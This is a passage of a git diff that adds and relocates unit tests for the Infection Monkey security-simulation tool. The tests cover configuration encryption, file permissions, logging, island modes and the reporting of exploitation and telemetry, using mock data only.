b'{"system":"linux", ' + b'"os_version":"NAME="Ubuntu"\n", ' + b'"glibc_version":"ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23\n", ' + b'"hostname":"test-TEST", ' + b'"tunnel":false, ' + b'"ips": ["127.0.0.1", "10.0.2.15", "192.168.56.5"]}' + ) + data_with_tunnel = ( + b'{"system":"linux", ' + b'"os_version":"NAME="Ubuntu"\n", ' + b'"glibc_version":"ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23\n", ' + b'"hostname":"test-TEST", ' + b'"tunnel":"192.168.56.1:5002", ' + b'"ips": ["127.0.0.1", "10.0.2.15", "192.168.56.5"]}' + ) + + result1 = Bootloader._get_request_contents_linux(data_without_tunnel) + self.assertTrue(result1["system"] == "linux") + self.assertTrue(result1["os_version"] == "Ubuntu") + self.assertTrue(result1["glibc_version"] == "ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23") + self.assertTrue(result1["hostname"] == "test-TEST") + self.assertFalse(result1["tunnel"]) + self.assertTrue(result1["ips"] == ["127.0.0.1", "10.0.2.15", "192.168.56.5"]) + + result2 = Bootloader._get_request_contents_linux(data_with_tunnel) + self.assertTrue(result2["system"] == "linux") + self.assertTrue(result2["os_version"] == "Ubuntu") + self.assertTrue(result2["glibc_version"] == "ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23") + self.assertTrue(result2["hostname"] == "test-TEST") + self.assertTrue(result2["tunnel"] == "192.168.56.1:5002") + self.assertTrue(result2["ips"] == ["127.0.0.1", "10.0.2.15", "192.168.56.5"]) + + def test_get_request_contents_windows(self): + windows_data = ( + b'{\x00"\x00s\x00y\x00s\x00t\x00e\x00m\x00"\x00:\x00"\x00w\x00i\x00n\x00d\x00o' + b'\x00w\x00s\x00"\x00,\x00 \x00"\x00o\x00s\x00_\x00v\x00e\x00r\x00s\x00i\x00o\x00n' + b'\x00"\x00:\x00"\x00w\x00i\x00n\x00d\x00o\x00w\x00s\x008\x00_\x00o\x00r\x00_\x00g\x00r' + b'\x00e\x00a\x00t\x00e\x00r\x00"\x00,\x00 ' + b'\x00"\x00h\x00o\x00s\x00t\x00n\x00a\x00m\x00e\x00"' + b'\x00:\x00"\x00D\x00E\x00S\x00K\x00T\x00O\x00P\x00-\x00P\x00J\x00H\x00U\x003\x006' + b'\x00B\x00"' + b'\x00,\x00 \x00"\x00t\x00u\x00n\x00n\x00e\x00l\x00"\x00:\x00f\x00a\x00l\x00s\x00e' + b"\x00,\x00 " + b'\x00"\x00i\x00p\x00s\x00"\x00:\x00 \x00[' + b'\x00"\x001\x009\x002\x00.\x001\x006\x008\x00.\x005' + b'\x006\x00.\x001\x00"\x00,\x00 ' + b'\x00"\x001\x009\x002\x00.\x001\x006\x008\x00.\x002\x004\x009' + b'\x00.\x001\x00"\x00,\x00 ' + b'\x00"\x001\x009\x002\x00.\x001\x006\x008\x00.\x002\x001\x007\x00.' + b'\x001\x00"\x00]\x00}\x00' + ) + + result = Bootloader._get_request_contents_windows(windows_data) + self.assertTrue(result["system"] == "windows") + self.assertTrue(result["os_version"] == "windows8_or_greater") + self.assertTrue(result["hostname"] == "DESKTOP-PJHU36B") + self.assertFalse(result["tunnel"]) + self.assertTrue(result["ips"] == ["192.168.56.1", "192.168.249.1", "192.168.217.1"]) diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/test_configuration_import.py b/monkey/tests/unit_tests/monkey_island/cc/resources/test_configuration_import.py new file mode 100644 index 000000000..e9672ebdf --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/test_configuration_import.py @@ -0,0 +1,29 @@ +import pytest +from tests.unit_tests.monkey_island.cc.services.utils.ciphertexts_for_encryption_test import ( + MALFORMED_CIPHER_TEXT_CORRUPTED, +) +from tests.unit_tests.monkey_island.cc.services.utils.test_config_encryption import PASSWORD + +from common.utils.exceptions import InvalidConfigurationError +from monkey_island.cc.resources.configuration_import import ConfigurationImport +from monkey_island.cc.services.utils.encryption import encrypt_string + + +def test_is_config_encrypted__json(monkey_config_json): + assert not ConfigurationImport.is_config_encrypted(monkey_config_json) + + +@pytest.mark.slow +def test_is_config_encrypted__ciphertext(monkey_config_json): + encrypted_config = encrypt_string(monkey_config_json, PASSWORD) + assert ConfigurationImport.is_config_encrypted(encrypted_config) + + +def test_is_config_encrypted__corrupt_ciphertext(): + with pytest.raises(InvalidConfigurationError): + assert ConfigurationImport.is_config_encrypted(MALFORMED_CIPHER_TEXT_CORRUPTED) + + +def test_is_config_encrypted__unknown_format(): + with pytest.raises(InvalidConfigurationError): + assert ConfigurationImport.is_config_encrypted("ABC") diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/test_island_mode.py b/monkey/tests/unit_tests/monkey_island/cc/resources/test_island_mode.py new file mode 100644 index 000000000..37b09aaed --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/test_island_mode.py @@ -0,0 +1,63 @@ +import json + +import pytest +from tests.utils import raise_ + +from monkey_island.cc.models.island_mode_model import IslandMode +from monkey_island.cc.resources import island_mode as island_mode_resource + + +@pytest.fixture(scope="function") +def uses_database(): + IslandMode.objects().delete() + + +@pytest.mark.parametrize("mode", ["ransomware", "advanced"]) +def test_island_mode_post(flask_client, mode, monkeypatch): + monkeypatch.setattr( + "monkey_island.cc.resources.island_mode.update_config_on_mode_set", + lambda _: None, + ) + resp = flask_client.post( + "/api/island-mode", data=json.dumps({"mode": mode}), follow_redirects=True + ) + assert resp.status_code == 200 + + +def test_island_mode_post__invalid_mode(flask_client): + resp = flask_client.post( + "/api/island-mode", data=json.dumps({"mode": "bogus mode"}), follow_redirects=True + ) + assert resp.status_code == 422 + + +@pytest.mark.parametrize("invalid_json", ["42", "{test"]) +def test_island_mode_post__invalid_json(flask_client, invalid_json): + resp = flask_client.post("/api/island-mode", data="{test", follow_redirects=True) + assert resp.status_code == 400 + + +def test_island_mode_post__internal_server_error(monkeypatch, flask_client): + monkeypatch.setattr(island_mode_resource, "set_mode", lambda x: raise_(Exception())) + + resp = flask_client.post( + "/api/island-mode", data=json.dumps({"mode": "ransomware"}), follow_redirects=True + ) + assert resp.status_code == 500 + + +@pytest.mark.parametrize("mode", ["ransomware", "advanced"]) +def test_island_mode_endpoint(flask_client, uses_database, mode): + flask_client.post("/api/island-mode", data=json.dumps({"mode": mode}), follow_redirects=True) + resp = flask_client.get("/api/island-mode", follow_redirects=True) + assert resp.status_code == 200 + assert json.loads(resp.data)["mode"] == mode + + +def test_island_mode_endpoint__invalid_mode(flask_client, uses_database): + resp_post = flask_client.post( + "/api/island-mode", data=json.dumps({"mode": "bogus_mode"}), follow_redirects=True + ) + resp_get = flask_client.get("/api/island-mode", follow_redirects=True) + assert resp_post.status_code == 422 + assert json.loads(resp_get.data)["mode"] is None diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_consts.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_consts.py new file mode 100644 index 000000000..26d7bc583 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_consts.py @@ -0,0 +1,18 @@ +import os +import platform + +from monkey_island.cc.server_utils import consts + + +def test_monkey_island_abs_path(): + assert consts.MONKEY_ISLAND_ABS_PATH.endswith("monkey_island") + assert os.path.isdir(consts.MONKEY_ISLAND_ABS_PATH) + + +def test_default_server_config_file_path(): + if platform.system() == "Windows": + server_file_path = f"{consts.MONKEY_ISLAND_ABS_PATH}\\cc\\{consts.SERVER_CONFIG_FILENAME}" + else: + server_file_path = f"{consts.MONKEY_ISLAND_ABS_PATH}/cc/{consts.SERVER_CONFIG_FILENAME}" + + assert consts.DEFAULT_SERVER_CONFIG_PATH == server_file_path diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_encryptor.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_encryptor.py new file mode 100644 index 000000000..0ca724d44 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_encryptor.py @@ -0,0 +1,32 @@ +import os + +from monkey_island.cc.server_utils.encryptor import get_encryptor, initialize_encryptor + +PASSWORD_FILENAME = "mongo_key.bin" + +PLAINTEXT = "Hello, Monkey!" +CYPHERTEXT = "vKgvD6SjRyIh1dh2AM/rnTa0NI/vjfwnbZLbMocWtE4e42WJmSUz2ordtbQrH1Fq" + + +def test_aes_cbc_encryption(data_for_tests_dir): + initialize_encryptor(data_for_tests_dir) + + assert get_encryptor().enc(PLAINTEXT) != PLAINTEXT + + +def test_aes_cbc_decryption(data_for_tests_dir): + initialize_encryptor(data_for_tests_dir) + + assert get_encryptor().dec(CYPHERTEXT) == PLAINTEXT + + +def test_aes_cbc_enc_dec(data_for_tests_dir): + initialize_encryptor(data_for_tests_dir) + + assert get_encryptor().dec(get_encryptor().enc(PLAINTEXT)) == PLAINTEXT + + +def test_create_new_password_file(tmpdir): + initialize_encryptor(tmpdir) + + assert os.path.isfile(os.path.join(tmpdir, PASSWORD_FILENAME)) diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py new file mode 100644 index 000000000..6605673d0 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py @@ -0,0 +1,99 @@ +import os +import stat + +import pytest +from tests.monkey_island.utils import assert_windows_permissions + +from monkey_island.cc.server_utils.file_utils import ( + create_secure_directory, + is_windows_os, + open_new_securely_permissioned_file, +) + + +@pytest.fixture +def test_path_nested(tmpdir): + path = os.path.join(tmpdir, "test1", "test2", "test3") + return path + + +@pytest.fixture +def test_path(tmpdir): + test_path = "test1" + path = os.path.join(tmpdir, test_path) + + return path + + +def test_create_secure_directory__already_exists(test_path): + os.mkdir(test_path) + assert os.path.isdir(test_path) + create_secure_directory(test_path) + + +def test_create_secure_directory__no_parent_dir(test_path_nested): + with pytest.raises(Exception): + create_secure_directory(test_path_nested) + + +@pytest.mark.skipif(is_windows_os(), reason="Tests Posix (not Windows) permissions.") +def test_create_secure_directory__perm_linux(test_path): + create_secure_directory(test_path) + st = os.stat(test_path) + + expected_mode = stat.S_IRWXU + actual_mode = st.st_mode & (stat.S_IRWXU | stat.S_IRWXG | stat.S_IRWXO) + + assert expected_mode == actual_mode + + +@pytest.mark.skipif(not is_windows_os(), reason="Tests Windows (not Posix) permissions.") +def test_create_secure_directory__perm_windows(test_path): + create_secure_directory(test_path) + + assert_windows_permissions(test_path) + + +def test_open_new_securely_permissioned_file__already_exists(test_path): + os.close(os.open(test_path, os.O_CREAT, stat.S_IRWXU)) + assert os.path.isfile(test_path) + + with pytest.raises(Exception): + with open_new_securely_permissioned_file(test_path): + pass + + +def test_open_new_securely_permissioned_file__no_parent_dir(test_path_nested): + with pytest.raises(Exception): + with open_new_securely_permissioned_file(test_path_nested): + pass + + +@pytest.mark.skipif(is_windows_os(), reason="Tests Posix (not Windows) permissions.") +def test_open_new_securely_permissioned_file__perm_linux(test_path): + with open_new_securely_permissioned_file(test_path): + pass + + st = os.stat(test_path) + + expected_mode = stat.S_IRUSR | stat.S_IWUSR + actual_mode = st.st_mode & (stat.S_IRWXU | stat.S_IRWXG | stat.S_IRWXO) + + assert expected_mode == actual_mode + + +@pytest.mark.skipif(not is_windows_os(), reason="Tests Windows (not Posix) permissions.") +def test_open_new_securely_permissioned_file__perm_windows(test_path): + with open_new_securely_permissioned_file(test_path): + pass + + assert_windows_permissions(test_path) + + +def test_open_new_securely_permissioned_file__write(test_path): + TEST_STR = b"Hello World" + with open_new_securely_permissioned_file(test_path, "wb") as f: + f.write(TEST_STR) + + with open(test_path, "rb") as f: + assert f.read() == TEST_STR diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_island_logger.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_island_logger.py new file mode 100644 index 000000000..c4256252f --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_island_logger.py @@ -0,0 +1,101 @@ +import logging +import os + +import pytest + +import monkey_island.cc.server_utils.island_logger as island_logger + + +@pytest.fixture(autouse=True) +def reset_logger(): + yield + + island_logger.reset_logger() + + +def test_setup_logging_file_log_level_debug(tmpdir): + DATA_DIR = tmpdir + LOG_FILE = os.path.join(DATA_DIR, island_logger.ISLAND_LOG_FILENAME) + LOG_LEVEL = "DEBUG" + TEST_STRING = "Hello, Monkey! (File; Log level: debug)" + + island_logger.setup_logging(DATA_DIR, LOG_LEVEL) + + logger = logging.getLogger("TestLogger") + logger.debug(TEST_STRING) + + assert os.path.isfile(LOG_FILE) + with open(LOG_FILE, "r") as f: + line = f.readline() + assert TEST_STRING in line + + +def test_setup_logging_file_log_level_info(tmpdir): + DATA_DIR = tmpdir + LOG_FILE = os.path.join(DATA_DIR, island_logger.ISLAND_LOG_FILENAME) + LOG_LEVEL = "INFO" + TEST_STRING = "Hello, Monkey! (File; Log level: info)" + + island_logger.setup_logging(DATA_DIR, LOG_LEVEL) + + logger = logging.getLogger("TestLogger") + logger.debug(TEST_STRING) + + assert os.path.isfile(LOG_FILE) + with open(LOG_FILE, "r") as f: + line = f.readline() + assert TEST_STRING not in line + + +def test_setup_logging_console_log_level_debug(capsys, tmpdir): + DATA_DIR = tmpdir + LOG_LEVEL = "DEBUG" + TEST_STRING = "Hello, Monkey! (Console; Log level: debug)" + + island_logger.setup_logging(DATA_DIR, LOG_LEVEL) + + logger = logging.getLogger("TestLogger") + logger.debug(TEST_STRING) + + captured = capsys.readouterr() + assert TEST_STRING in captured.out + + +def test_setup_logging_console_log_level_info(capsys, tmpdir): + DATA_DIR = tmpdir + LOG_LEVEL = "INFO" + TEST_STRING = "Hello, Monkey! (Console; Log level: info)" + + island_logger.setup_logging(DATA_DIR, LOG_LEVEL) + + logger = logging.getLogger("TestLogger") + logger.debug(TEST_STRING) + + captured = capsys.readouterr() + assert TEST_STRING not in captured.out + + +def test_setup_logging_console_log_level_lower_case(capsys, tmpdir): + DATA_DIR = tmpdir + LOG_LEVEL = "debug" + TEST_STRING = "Hello, Monkey! (Console; Log level: debug)" + + island_logger.setup_logging(DATA_DIR, LOG_LEVEL) + + logger = logging.getLogger("TestLogger") + logger.debug(TEST_STRING) + + captured = capsys.readouterr() + assert TEST_STRING in captured.out + + +def test_setup_defailt_failsafe_logging(capsys): + TEST_STRING = "Hello, Monkey! (Console; Log level: debug)" + + island_logger.setup_default_failsafe_logging() + logger = logging.getLogger("TestLogger") + logger.debug(TEST_STRING) + + captured = capsys.readouterr() + assert TEST_STRING in captured.out + assert "DEBUG" in captured.out diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/attack/test_mitre_api_interface.py b/monkey/tests/unit_tests/monkey_island/cc/services/attack/test_mitre_api_interface.py new file mode 100644 index 000000000..f93afc8d5 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/attack/test_mitre_api_interface.py @@ -0,0 +1,14 @@ +import pytest + +from monkey_island.cc.services.attack.mitre_api_interface import MitreApiInterface + + +@pytest.mark.slow +def test_get_all_mitigations(): + mitigations = MitreApiInterface.get_all_mitigations() + assert len(mitigations.items()) >= 282 + mitigation = next(iter(mitigations.values())) + assert mitigation["type"] == "course-of-action" + assert mitigation["name"] is not None + assert mitigation["description"] is not None + assert mitigation["external_references"] is not None diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/services/conftest.py new file mode 100644 index 000000000..7b56c0c13 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/conftest.py @@ -0,0 +1,22 @@ +import pytest + +from monkey_island.cc.environment import Environment +from monkey_island.cc.services.config import ConfigService + + +@pytest.fixture +def IPS(): + return ["0.0.0.0", "9.9.9.9"] + + +@pytest.fixture +def PORT(): + return 9999 + + +@pytest.fixture +def config(monkeypatch, IPS, PORT): + monkeypatch.setattr("monkey_island.cc.services.config.local_ip_addresses", lambda: IPS) + monkeypatch.setattr(Environment, "_ISLAND_PORT", PORT) + config = ConfigService.get_default_config(True) + return config diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/edge/test_displayed_edge_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/edge/test_displayed_edge_service.py new file mode 100644 index 000000000..4c7ca36a7 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/edge/test_displayed_edge_service.py @@ -0,0 +1,94 @@ +from bson import ObjectId + +from monkey_island.cc.services.edge.displayed_edge import DisplayedEdgeService +from monkey_island.cc.services.edge.edge import RIGHT_ARROW, EdgeService + +SCAN_DATA_MOCK = [ + { + "timestamp": "2020-05-27T14:59:28.944Z", + "data": { + "os": {"type": "linux", "version": "Ubuntu-4ubuntu2.8"}, + "services": { + "tcp-8088": {"display_name": "unknown(TCP)", "port": 8088}, + "tcp-22": { + "display_name": "SSH", + "port": 22, + "banner": "SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.8\r\n", + "name": "ssh", + }, + }, + "monkey_exe": None, + "default_tunnel": None, + "default_server": None, + }, + } +] + +EXPLOIT_DATA_MOCK = [ + { + "result": True, + "exploiter": "ElasticGroovyExploiter", + "info": { + "display_name": "Elastic search", + "started": "2020-05-11T08:59:38.105Z", + "finished": "2020-05-11T08:59:38.106Z", + "vulnerable_urls": [], + "vulnerable_ports": [], + "executed_cmds": [], + }, + "attempts": [], + "timestamp": "2020-05-27T14:59:29.048Z", + } +] + + +class TestDisplayedEdgeService: + def test_get_displayed_edges_by_to(self): + dst_id = ObjectId() + + src_id = ObjectId() + EdgeService.get_or_create_edge(src_id, dst_id, "Ubuntu-4ubuntu2.8", "Ubuntu-4ubuntu2.8") + + src_id2 = ObjectId() + EdgeService.get_or_create_edge(src_id2, dst_id, "Ubuntu-4ubuntu3.2", "Ubuntu-4ubuntu2.8") + + displayed_edges = DisplayedEdgeService.get_displayed_edges_by_dst(str(dst_id)) + assert len(displayed_edges) == 2 + + def test_edge_to_displayed_edge(self): + src_node_id = ObjectId() + dst_node_id = ObjectId() + edge = EdgeService( + src_node_id=src_node_id, + dst_node_id=dst_node_id, + scans=SCAN_DATA_MOCK, + exploits=EXPLOIT_DATA_MOCK, + exploited=True, + domain_name=None, + ip_address="10.2.2.2", + dst_label="Ubuntu-4ubuntu2.8", + src_label="Ubuntu-4ubuntu3.2", + ) + + displayed_edge = DisplayedEdgeService.edge_to_displayed_edge(edge) + + assert displayed_edge["to"] == dst_node_id + assert displayed_edge["from"] == src_node_id + assert displayed_edge["ip_address"] == "10.2.2.2" + assert displayed_edge["services"] == ["tcp-8088: unknown", "tcp-22: ssh"] + assert displayed_edge["os"] == {"type": "linux", "version": "Ubuntu-4ubuntu2.8"} + assert displayed_edge["exploits"] == EXPLOIT_DATA_MOCK + assert displayed_edge["_label"] == "Ubuntu-4ubuntu3.2 " + RIGHT_ARROW + " Ubuntu-4ubuntu2.8" + assert displayed_edge["group"] == "exploited" + return displayed_edge + + def test_services_to_displayed_services(self): + services1 = DisplayedEdgeService.services_to_displayed_services( + SCAN_DATA_MOCK[-1]["data"]["services"], True + ) + assert services1 == ["tcp-8088", "tcp-22"] + + services2 = DisplayedEdgeService.services_to_displayed_services( + SCAN_DATA_MOCK[-1]["data"]["services"], False + ) + assert services2 == ["tcp-8088: unknown", "tcp-22: ssh"] diff --git a/monkey/monkey_island/cc/services/edge/test_edge.py b/monkey/tests/unit_tests/monkey_island/cc/services/edge/test_edge_service.py similarity index 86% rename from monkey/monkey_island/cc/services/edge/test_edge.py rename to monkey/tests/unit_tests/monkey_island/cc/services/edge/test_edge_service.py index f327bc2d1..8754d5fac 100644 --- a/monkey/monkey_island/cc/services/edge/test_edge.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/edge/test_edge_service.py @@ -5,14 +5,12 @@ from mongomock import ObjectId from monkey_island.cc.models.edge import Edge from monkey_island.cc.services.edge.edge import EdgeService -from monkey_island.cc.test_common.fixtures import FixtureEnum logger = logging.getLogger(__name__) class TestEdgeService: - - @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) + @pytest.mark.usefixtures("uses_database") def test_get_or_create_edge(self): src_id = ObjectId() dst_id = ObjectId() @@ -34,9 +32,7 @@ class TestEdgeService: assert len(Edge.objects()) == 1 def test_get_edge_group(self): - edge = Edge(src_node_id=ObjectId(), - dst_node_id=ObjectId(), - exploited=True) + edge = Edge(src_node_id=ObjectId(), dst_node_id=ObjectId(), exploited=True) assert "exploited" == EdgeService.get_group(edge) edge.exploited = False diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/ransomware/test_ransomware_report.py b/monkey/tests/unit_tests/monkey_island/cc/services/ransomware/test_ransomware_report.py new file mode 100644 index 000000000..a12b2aa9c --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/ransomware/test_ransomware_report.py @@ -0,0 +1,38 @@ +import pytest + +from monkey_island.cc.services.ransomware import ransomware_report +from monkey_island.cc.services.reporting.exploitations.monkey_exploitation import MonkeyExploitation +from monkey_island.cc.services.reporting.report import ReportService + + +@pytest.fixture +def patch_report_service_for_stats(monkeypatch): + TEST_SCANNED_RESULTS = [{}, {}, {}, {}] + TEST_EXPLOITED_RESULTS = [ + MonkeyExploitation("", [], "", exploits=["SSH Exploiter"]), + MonkeyExploitation("", [], "", exploits=["SSH Exploiter", "SMB Exploiter"]), + MonkeyExploitation("", [], "", exploits=["WMI Exploiter"]), + ] + + monkeypatch.setattr(ReportService, "get_scanned", lambda: TEST_SCANNED_RESULTS) + monkeypatch.setattr(ransomware_report, "get_monkey_exploited", lambda: TEST_EXPLOITED_RESULTS) + + +def test_get_propagation_stats__num_scanned(patch_report_service_for_stats): + stats = ransomware_report.get_propagation_stats() + + assert stats["num_scanned_nodes"] == 4 + + +def test_get_propagation_stats__num_exploited(patch_report_service_for_stats): + stats = ransomware_report.get_propagation_stats() + + assert stats["num_exploited_nodes"] == 3 + + +def test_get_propagation_stats__num_exploited_per_exploit(patch_report_service_for_stats): + stats = ransomware_report.get_propagation_stats() + + assert stats["num_exploited_per_exploit"]["SSH Exploiter"] == 2 + assert stats["num_exploited_per_exploit"]["SMB Exploiter"] == 1 + assert stats["num_exploited_per_exploit"]["WMI Exploiter"] == 1 diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/reporting/exploitations/test_monkey_exploitation.py b/monkey/tests/unit_tests/monkey_island/cc/services/reporting/exploitations/test_monkey_exploitation.py new file mode 100644 index 000000000..f40e09c62 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/reporting/exploitations/test_monkey_exploitation.py @@ -0,0 +1,24 @@ +from tests.unit_tests.monkey_island.cc.services.reporting.test_report import ( + NODE_DICT, + NODE_DICT_DUPLICATE_EXPLOITS, + NODE_DICT_FAILED_EXPLOITS, +) + +from monkey_island.cc.services.reporting.exploitations.monkey_exploitation import ( + get_exploits_used_on_node, +) + + +def test_get_exploits_used_on_node__2_exploits(): + exploits = get_exploits_used_on_node(NODE_DICT) + assert sorted(exploits) == sorted(["Elastic Groovy Exploiter", "Drupal Server Exploiter"]) + + +def test_get_exploits_used_on_node__duplicate_exploits(): + exploits = get_exploits_used_on_node(NODE_DICT_DUPLICATE_EXPLOITS) + assert exploits == ["Drupal Server Exploiter"] + + +def test_get_exploits_used_on_node__failed(): + exploits = get_exploits_used_on_node(NODE_DICT_FAILED_EXPLOITS) + assert exploits == [] diff --git a/monkey/monkey_island/cc/services/tests/reporting/test_report.py b/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py similarity index 64% rename from monkey/monkey_island/cc/services/tests/reporting/test_report.py rename to monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py index cc0ea321e..0093e4235 100644 --- a/monkey/monkey_island/cc/services/tests/reporting/test_report.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py @@ -1,3 +1,6 @@ +import datetime +from copy import deepcopy + import mongomock import pytest from bson import ObjectId @@ -18,7 +21,6 @@ NT_HASH = "a9fdfa038c4b75ebc76dc855dd74f0da" VICTIM_IP = "0.0.0.0" VICTIM_DOMAIN_NAME = "domain-name" HOSTNAME = "name-of-host" -EXPLOITER_CLASS_NAME = "exploiter-name" # Below telem constants only contain fields relevant to current tests @@ -39,11 +41,10 @@ EXPLOIT_TELEMETRY_TELEM = { "ntlm_hash": NT_HASH, } } - } - } + }, + }, } - SYSTEM_INFO_TELEMETRY_TELEM = { "_id": TELEM_ID["system_info_creds"], "monkey_guid": MONKEY_GUID, @@ -56,7 +57,7 @@ SYSTEM_INFO_TELEMETRY_TELEM = { "ntlm_hash": NT_HASH, } } - } + }, } NO_CREDS_TELEMETRY_TELEM = { @@ -68,12 +69,59 @@ NO_CREDS_TELEMETRY_TELEM = { "ip_addr": VICTIM_IP, "domain_name": VICTIM_DOMAIN_NAME, }, - "info": {"credentials": {}} - } + "info": {"credentials": {}}, + }, } MONKEY_TELEM = {"_id": TELEM_ID["monkey"], "guid": MONKEY_GUID, "hostname": HOSTNAME} +NODE_DICT = { + "id": "602f62118e30cf35830ff8e4", + "label": "WinDev2010Eval.mshome.net", + "group": "monkey_windows", + "os": "windows", + "dead": True, + "exploits": [ + { + "result": True, + "exploiter": "DrupalExploiter", + "info": { + "display_name": "Drupal Server", + "started": datetime.datetime(2021, 2, 19, 9, 0, 14, 950000), + "finished": datetime.datetime(2021, 2, 19, 9, 0, 14, 950000), + "vulnerable_urls": [], + "vulnerable_ports": [], + "executed_cmds": [], + }, + "attempts": [], + "timestamp": datetime.datetime(2021, 2, 19, 9, 0, 14, 984000), + "origin": "MonkeyIsland : 192.168.56.1", + }, + { + "result": True, + "exploiter": "ElasticGroovyExploiter", + "info": { + "display_name": "Elastic search", + "started": datetime.datetime(2021, 2, 19, 9, 0, 15, 16000), + "finished": datetime.datetime(2021, 2, 19, 9, 0, 15, 17000), + "vulnerable_urls": [], + "vulnerable_ports": [], + "executed_cmds": [], + }, + "attempts": [], + "timestamp": datetime.datetime(2021, 2, 19, 9, 0, 15, 60000), + "origin": "MonkeyIsland : 192.168.56.1", + }, + ], +} + +NODE_DICT_DUPLICATE_EXPLOITS = deepcopy(NODE_DICT) +NODE_DICT_DUPLICATE_EXPLOITS["exploits"][1] = NODE_DICT_DUPLICATE_EXPLOITS["exploits"][0] + +NODE_DICT_FAILED_EXPLOITS = deepcopy(NODE_DICT) +NODE_DICT_FAILED_EXPLOITS["exploits"][0]["result"] = False +NODE_DICT_FAILED_EXPLOITS["exploits"][1]["result"] = False + @pytest.fixture def fake_mongo(monkeypatch): diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment.py b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment_telemetry_processing.py similarity index 84% rename from monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment.py rename to monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment_telemetry_processing.py index 6369ea9e1..042f5b874 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment_telemetry_processing.py @@ -1,8 +1,9 @@ import uuid from monkey_island.cc.models import Monkey -from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import \ - SystemInfoTelemetryDispatcher +from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import ( # noqa: E501 + SystemInfoTelemetryDispatcher, +) class TestEnvironmentTelemetryProcessing: @@ -20,7 +21,7 @@ class TestEnvironmentTelemetryProcessing: "EnvironmentCollector": {"environment": on_premise}, } }, - "monkey_guid": monkey_guid + "monkey_guid": monkey_guid, } dispatcher.dispatch_collector_results_to_relevant_processors(telem_json) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py similarity index 86% rename from monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py rename to monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py index eed93058a..6829daf4b 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py @@ -3,8 +3,10 @@ import uuid import pytest from monkey_island.cc.models import Monkey -from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import ( - SystemInfoTelemetryDispatcher, process_aws_telemetry) +from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import ( # noqa: E501 + SystemInfoTelemetryDispatcher, + process_aws_telemetry, +) TEST_SYS_INFO_TO_PROCESSING = { "AwsCollector": [process_aws_telemetry], @@ -13,7 +15,6 @@ TEST_SYS_INFO_TO_PROCESSING = { class TestSystemInfoTelemetryDispatcher: def test_dispatch_to_relevant_collector_bad_inputs(self): - dispatcher = SystemInfoTelemetryDispatcher(TEST_SYS_INFO_TO_PROCESSING) # Bad format telem JSONs - throws @@ -31,7 +32,10 @@ class TestSystemInfoTelemetryDispatcher: # Telem JSON with no collectors - nothing gets dispatched good_telem_no_collectors = {"monkey_guid": "bla", "data": {"bla": "bla"}} - good_telem_empty_collectors = {"monkey_guid": "bla", "data": {"bla": "bla", "collectors": {}}} + good_telem_empty_collectors = { + "monkey_guid": "bla", + "data": {"bla": "bla", "collectors": {}}, + } 